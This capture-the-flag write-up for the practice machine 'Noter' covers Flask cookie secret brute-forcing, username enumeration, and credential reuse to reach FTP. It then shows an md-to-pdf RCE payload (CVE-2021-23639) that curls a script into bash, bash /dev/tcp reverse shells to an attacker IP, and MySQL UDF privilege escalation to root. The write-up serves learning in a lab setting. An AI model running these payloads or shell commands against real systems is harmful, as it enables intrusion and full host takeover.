Noter is a medium Linux box, which starts with decrypting the flask session cookie
. The cookie has a weak password which can be obtained by brute forcing. There is a quiet enumeration to find out the valid user. Later we craft the session cookie to get the admin access. There are some notes in the admin notes section by reading it we get the password to access the FTP server. In the FTP server, we get the PDF file. Under the Password Creation
section, there is information about the format of the default password that is generated by the application that gives the idea of how to create a password for ftp_admin
. As ftp_admin we get the source code of the application. By exploiting the node module that is vulnerable to remote code execution we get the shell on the box. As MySQL is running as a root user, we can exploit it by leveraging the user-defined functions of MySQL to gain RCE and escalate our privileges to root.
Recon
Nmap
Let’s begin by scanning for open ports using Nmap
┌──(kali㉿kali)-[~/htb/noter]
└─$ nmap -sCV -oN nmap/initial 10.10.11.160
Nmap scan report for 10.10.11.160
Host is up (0.20s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We have 3 ports are open FTP, SSH and Werkzeug httpd. For FTP and SSH we do not have any creds to login. The http server is using python in backend.
Port 5000
On port 5000 we have a website where we can store the notes. To access it, we need to create an account.
Creating the account with username terminal
and password is password
to enumerate the application.
After login in, we can access the dashboard. Here we have 2 options Add Note
and Upgrade to VIP
. I had spent some time enumerating this two things however nothing came up.
Flask Cookie
Inspecting the session cookie, it looks like the JWT cookie. When I decode the cookie, it’s not a vaild JWT cookie. The backend server is using python so I guess it is a Flask Session cookie.
To verify it I have used the flask-unsign
tool.
1
2
3
4
┌──(kali㉿kali)-[~/htb/noter]
└─$ flask-unsign --decode --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVybWluYWwifQ.Yw3nfQ.kUrDtaln3Wt1lduBiNHwXEAK9FY"
{'logged_in': True, 'username': 'terminal'}
Indeed, it is a flask cookie. We can brute force the cookie to extract the secret.
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/htb/noter]
└─$ flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoidGVybWluYWwifQ.Yw3nfQ.kUrDtaln3Wt1lduBiNHwXEAK9FY"
[*] Session decodes to: {'logged_in': True, 'username': 'terminal'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (1920): -----BEGIN PRIVATE KEY-----t;s
[+] Found secret key after 17024 attemptsdsInfoexampl
'secret123'
Now we have the secret we can change the username. First, we need to find out the vaild username. I tried some well know usernames like admin
, and administrator
but had no luck.
Enumerating usernames
If we check the login page, when vaild user enters the wrong password it gives the error
Invalid login
.
Below, terminal is user created by me.
If the user is not present then the application shows the Invalid credentials
error.
With the help of this behavior, we can enumerate valid usernames.
FFuF
Using FFuF we can enumerate the vaild users.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/htb/noter]
└─$ ffuf -u http://10.10.11.160:5000/login -w /home/kali/wordlists/SecLists/Usernames/Names/names.txt -X POST -d 'username=FUZZ&password=test' -H 'Content-Type: application/x-www-form-urlencoded' -mr 'Invalid login'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : POST
:: URL : http://10.10.11.160:5000/login
:: Wordlist : FUZZ: /home/kali/wordlists/SecLists/Usernames/Names/names.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : username=FUZZ&password=test
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Invalid login
________________________________________________
blue [Status: 200, Size: 2026, Words: 432, Lines: 69]
:: Progress: [10177/10177] :: Job [1/1] :: 82 req/sec :: Duration: [0:02:14] :: Errors: 0 ::
Admin access
We have found the vaild user blue
. Let’s create a cookie and access the account.
1
2
3
4
┌──(kali㉿kali)-[~/htb/noter]
└─$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yw3q6Q.oUeatufWGdm_fMMhlu3IaAeId0s
Paste the cookie and we have admin access.
FTP
If we checked the notes for the “blue” user http://10.10.11.160:5000/note/1/, we can see this note.
1
2
3
4
5
6
7
8
9
10
11
12
Hello, Thank you for choosing our premium service. Now you are capable of
doing many more things with our application. All the information you are going
to need are on the Email we sent you. By the way, now you can access our FTP
service as well. Your username is 'blue' and the password is 'blue@Noter!'.
Make sure to remember them and delete this.
(Additional information are included in the attachments we sent along the
Email)
We all hope you enjoy our service. Thanks!
ftp_admin
In the note, we found the password.
┌──(kali㉿kali)-[~/htb/noter/ftp]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
We can download the policy.pdf
.
In the pdf file, we see that it gives information about the password policy of the company. Under the “Password Creation” section, there is information about the format of the default password that is generated by the application. The fourth point is important.
Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)
The other username we found is ftp_admin from blue
notes.
So considering all of this, the new creds are:
ftp_admin:ftp_admin@Noter!
Login to FTP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(kali㉿kali)-[~/htb/noter/ftp]
└─$ ftp 10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 1003 4096 May 02 23:05 .
drwxr-xr-x 2 0 1003 4096 May 02 23:05 ..
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> get *
local: app_backup_1635803546 remote: *
200 PORT command successful. Consider using PASV.
550 Failed to open file.
ftp> get app_backup_1635803546.zip
local: app_backup_1635803546.zip remote: app_backup_1635803546.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1635803546.zip (25559 bytes).
226 Transfer complete.
25559 bytes received in 0.31 secs (81.1279 kB/s)
ftp> get app_backup_1638395546.zip
local: app_backup_1638395546.zip remote: app_backup_1638395546.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
226 Transfer complete.
26298 bytes received in 0.31 secs (82.5275 kB/s)
ftp> exit
221 Goodbye.
There are two files over here, which appear to be application backup files.
app_backup_1635803546.zip
app_backup_1638395546.zip
I unzipped both the files, and started to check the files. In one of the files there is a password for mysql database.
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
After further enumeration, I have found that there is a file md-to-pdf.js
which converts the markdown file to pdf. Upon doing a quick Google search I found CVE-2021-23639
.
CVE-2021-23639
In order to exploit we have to create the md file with payload.
exploit.md
1
---js\n((require("child_process")).execSync("curl http://10.10.14.18:8000/reverse.sh | bash"))\n---RCE
reverse.sh
1
2
3
4
#! /bin/bash
/bin/bash -l > /dev/tcp/10.10.14.18/9001 0<&1 2>&1
Go to export notes endpoint. We have an option Export directly from cloud
use it to upload the shell.
Started a Python web-server on our local machine on port 8000 in the directory which contains the exploit.md
.
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ sudo python3 -m http.server 8000
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.160 - - [30/Aug/2022 07:09:41] "GET /exploit.md HTTP/1.1" 200 -
10.10.11.160 - - [30/Aug/2022 07:09:42] "GET /reverse.sh HTTP/1.1" 200 -
Reverse shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.11.160] 45214
python -c 'import pty;pty.spawn("/bin/bash")'
svc@noter:~/app/web$ ls
svc@noter:~$ ^Z
[1]+ Stopped nc -nvlp 9001
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ stty raw -echo
┌──(kali㉿kali)-[~/htb/noter/www]
nc -nvlp 9001
svc@noter:~$
Root
After checking all the output of linpeas I found nothing, but we still have mysql creds. After some google i came accross the article it explain how we can get shell by creating the malicious library.
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ gcc -g -c raptor_udf2.c
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ ls
exploit.md linpeas.sh raptor_udf2.c raptor_udf2.o raptor_udf2.so reverse.sh
Upload the raptor_udf2.so
file on the server.
1
2
3
4
5
6
7
8
9
10
svc@noter:/tmp$ wget http://10.10.14.18:8000/raptor_udf2.so
--2022-08-30 11:43:29-- http://10.10.14.18:8000/raptor_udf2.so
Connecting to 10.10.14.18:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17264 (17K) [application/octet-stream]
Saving to: ‘raptor_udf2.so’
raptor_udf2.so 100%[===================>] 16.86K 73.5KB/s in 0.2s
2022-08-30 11:43:29 (73.5 KB/s) - ‘raptor_udf2.so’ saved [17264/17264]
1
2
3
4
5
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ sudo python3 -m http.server 8000
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.160 - - [30/Aug/2022 07:43:30] "GET /raptor_udf2.so HTTP/1.1" 200 -
Now execute the following commands to get the shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
svc@noter:/tmp$ mysql -u root -h localhost -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 13702
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> create table npn(line blob);
Query OK, 0 rows affected (0.004 sec)
MariaDB [mysql]> insert into npn values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)
MariaDB [mysql]> select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)
MariaDB [mysql]> select do_system("bash -i >& /dev/tcp/10.10.14.18/9002 0>&1");
+--------------------------------------------------------+
| do_system("bash -i >& /dev/tcp/10.10.14.18/9002 0>&1") |
+--------------------------------------------------------+
| 0 |
+--------------------------------------------------------+
1 row in set (0.002 sec)
MariaDB [mysql]> select do_system("bash -c 'bash -i >& /dev/tcp/10.10.14.18/9002 0>&1'");
1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/htb/noter/www]
└─$ nc -nvlp 9002
listening on [any] 9002 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.11.160] 38188
bash: cannot set terminal process group (965): Inappropriate ioctl for device
bash: no job control in this shell
root@noter:/var/lib/mysql#
root@noter:/var/lib/mysql# cd /root
root@noter:/root# cat root.txt
cat root.txt
a4c7a8724521b69f908989a994710227